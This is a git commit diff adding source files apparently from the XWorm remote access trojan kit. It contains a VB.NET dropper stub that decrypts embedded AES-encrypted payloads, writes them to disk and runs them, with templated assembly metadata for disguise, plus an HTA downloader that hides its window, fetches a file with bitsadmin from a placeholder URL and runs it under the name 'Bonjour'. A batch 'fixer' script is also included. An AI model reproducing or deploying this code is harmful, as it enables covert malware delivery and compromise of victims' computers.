initial commit

2026-08-27 11:22:34 -06:00
commit 5983c713b1
2676 changed files with 529190 additions and 0 deletions
@@ -0,0 +1,88 @@
+Imports System
+Imports System.IO
+Imports System.Collections
+Imports System.Collections.Generic
+Imports System.Threading
+Imports System.Diagnostics
+Imports System.Runtime.CompilerServices
+Imports Microsoft.VisualBasic
+Imports Microsoft.VisualBasic.CompilerServices
+Imports System.Environment
+Imports System.Reflection
+Imports System.Resources
+Imports System.Security.Cryptography
+Imports System.Runtime.InteropServices
+
+<Assembly: AssemblyTitle("%Title%")>
+<Assembly: AssemblyDescription("%Des%")>
+<Assembly: AssemblyCompany("%Company%")>
+<Assembly: AssemblyProduct("%Product%")>
+<Assembly: AssemblyCopyright("%Copyright%")>
+<Assembly: AssemblyTrademark("%Trademark%")>
+<Assembly: AssemblyFileVersion("%v1%" + "." + "%v2%" + "." + "%v3%" + "." + "%v4%")>
+<Assembly: AssemblyVersion("%v1%" + "." + "%v2%" + "." + "%v3%" + "." + "%v4%")>
+<Assembly: Guid("%Guid%")>
+
+Public Class Program
+
+    Public Shared Sub Main()
+
+        If Not CreateMutex() Then Environment.Exit(0)
+
+        On Error Resume Next
+        Dim FList As Object
+        For Each FList In List
+            Dim tempFile As String = GETP(Workpath) & "\" & Strings.Split(FList, (SPL))(0)
+            If Strings.Split(FList, (SPL))(2) = "True" Then
+                If Not IO.File.Exists(tempFile) Then
+                    IO.File.WriteAllBytes(tempFile, GetTheResource(Strings.Split(FList, (SPL))(0)))
+                    Process.Start(tempFile)
+                End If
+            Else
+                IO.File.WriteAllBytes(tempFile, GetTheResource(Strings.Split(FList, (SPL))(0)))
+                If Strings.Split(FList, (SPL))(1) = "True" Then
+                    Process.Start(tempFile)
+                End If
+            End If
+            GC.Collect()
+        Next
+
+    End Sub
+    Public Shared Function AES_Decryptor(ByVal input As Byte()) As Byte()
+        Dim AES As New RijndaelManaged
+        Dim Hash As New MD5CryptoServiceProvider
+        Try
+            AES.Key = Hash.ComputeHash(System.Text.Encoding.UTF8.GetBytes(Mutex))
+            AES.Mode = CipherMode.ECB
+            Dim DESDecrypter As ICryptoTransform = AES.CreateDecryptor
+            Dim Buffer As Byte() = input
+            Return DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length)
+        Catch ex As Exception
+            Debug.WriteLine(ex.Message)
+        End Try
+    End Function
+    Public Shared Function GetTheResource(ByVal Get_ As String) As Byte()
+        Dim MyAssembly As Assembly = Assembly.GetExecutingAssembly()
+        Dim MyResource As New Resources.ResourceManager("#ParentRes", MyAssembly)
+        Return AES_Decryptor(MyResource.GetObject(Get_))
+    End Function
+    Public Shared _appMutex As Mutex
+    Public Shared Function CreateMutex() As Boolean
+        Dim createdNew As Boolean
+        _appMutex = New Mutex(False, Mutex, createdNew)
+        Return createdNew
+    End Function
+    Public Shared Function GETP(ByVal StrP As String)
+        If (StrP).Contains("%Current%") Then
+            Return StrP.Replace("%Current%", AppDomain.CurrentDomain.BaseDirectory)
+        Else
+            Return System.Environment.ExpandEnvironmentVariables(StrP)
+        End If
+    End Function
+
+    Public Shared List As List(Of String) = New List(Of String)(New String() {"%list%"})
+    Public Shared Workpath As String = "%Path%"
+    Public Shared SPL As String = "%SPL%"
+    Public Shared Mutex As String = "%Mutex%"
+
+End Class
@@ -0,0 +1,7 @@
+@echo off
+title XWorm - Fixer
+echo If XWorm Does Not work - Run This Script As Administrator!
+
+pause
+lodctr /r
+pause
@@ -0,0 +1,21 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+  <head>
+    <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
+    <script language="VBScript">
+Window.ReSizeTo 0, 0
+Window.MoveTo -4000, -4000
+set oShell = CreateObject("WScript.Shell")
+Dim Str
+Str = "%Path%" & "\%Filename%"
+const DontWaitUntilFinished = false, ShowWindow = 1, DontShowWindow = 0, WaitUntilFinished = true
+oShell.Run "bitsadmin /transfer 8 %URL% " & Str, DontShowWindow, WaitUntilFinished
+oShell.Run Str
+Close
+    </script>
+    <hta:application id="oHTA" applicationname="Bonjour" application="yes" width="10px" height="10px"></hta:application>
+  </head>
+  <body>
+  </body>
+</html>
+